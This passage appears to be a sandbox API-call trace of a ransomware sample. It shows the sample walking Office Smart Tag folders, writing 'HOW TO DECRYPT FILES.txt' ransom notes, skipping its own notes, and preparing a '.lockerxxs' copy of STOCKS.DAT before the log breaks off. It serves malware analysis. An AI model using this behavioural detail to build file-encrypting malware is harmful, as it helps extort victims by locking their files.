Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.572] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.572] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="FPERSON.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" [0058.572] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0058.572] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.572] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FPLACE.DLL") returned -1 [0058.572] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FPLACE.DLL") returned 1 [0058.572] lstrcmpiA (lpString1="", lpString2="FPLACE.DLL") returned -1 [0058.572] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned="FPERSON.DLL" [0058.573] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.573] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.573] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.573] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.573] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="FPLACE.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" [0058.573] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0058.573] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.573] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FSTOCK.DLL") returned -1 [0058.573] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FSTOCK.DLL") returned 1 [0058.573] lstrcmpiA (lpString1="", lpString2="FSTOCK.DLL") returned -1 [0058.573] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned="FPLACE.DLL" [0058.573] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.573] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.573] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.573] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.573] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="FSTOCK.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" [0058.574] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0058.574] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.574] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IETAG.DLL") returned -1 [0058.574] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IETAG.DLL") returned -1 [0058.574] lstrcmpiA (lpString1="", lpString2="IETAG.DLL") returned -1 [0058.574] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned="FSTOCK.DLL" [0058.574] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.574] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.574] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.574] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.574] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="IETAG.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" [0058.574] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0058.574] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.574] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IMCONTACT.DLL") returned -1 [0058.574] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IMCONTACT.DLL") returned -1 [0058.574] lstrcmpiA (lpString1="", lpString2="IMCONTACT.DLL") returned -1 [0058.574] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned="IETAG.DLL" [0058.574] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" [0058.574] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\") returned="" [0058.575] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" [0058.575] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to decrypt files.txt")) returned 0x20 [0058.575] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="IMCONTACT.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" [0058.576] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0058.576] lstrcmpA (lpString1=".", lpString2="LISTS") returned -1 [0058.576] lstrcmpA (lpString1="..", lpString2="LISTS") returned -1 [0058.576] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned="IMCONTACT.DLL" [0058.576] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", lpString2="LISTS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" [0058.576] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8282, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.577] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.577] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.577] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.577] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.577] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0058.577] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0058.578] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0058.578] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*") returned="*.*" [0058.578] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\", lpString2="1033" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" [0058.578] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fb4e8, dwReserved1=0x4fb4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.578] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.578] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.578] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.578] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.578] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0058.578] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.578] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DATES.XML") returned 1 [0058.578] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DATES.XML") returned 1 [0058.578] lstrcmpiA (lpString1="", lpString2="DATES.XML") returned -1 [0058.578] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*") returned="*.*" [0058.578] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" [0058.578] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="" [0058.578] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" [0058.579] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to decrypt files.txt")) returned 0xffffffff [0058.579] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.585] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.585] CloseHandle (hObject=0x94) returned 1 [0058.586] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="DATES.XML" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" [0058.586] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x4f84d0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0058.586] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.586] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PHONE.XML") returned -1 [0058.586] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PHONE.XML") returned -1 [0058.586] lstrcmpiA (lpString1="", lpString2="PHONE.XML") returned -1 [0058.586] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned="DATES.XML" [0058.586] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" [0058.586] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="" [0058.586] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" [0058.586] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to decrypt files.txt")) returned 0x20 [0058.586] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="PHONE.XML" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" [0058.587] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0058.587] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.587] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="STOCKS.DAT") returned -1 [0058.587] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="STOCKS.DAT") returned -1 [0058.587] lstrcmpiA (lpString1="", lpString2="STOCKS.DAT") returned -1 [0058.587] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned="PHONE.XML" [0058.587] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" [0058.587] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\") returned="" [0058.587] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" [0058.587] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to decrypt files.txt")) returned 0x20 [0058.587] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", lpString2="STOCKS.DAT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" [0058.587] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" [0058.587] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" [0058.587] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT." [0058.587] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.lockerxxs" [0058.587] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.589] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9869 [0058.589] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: 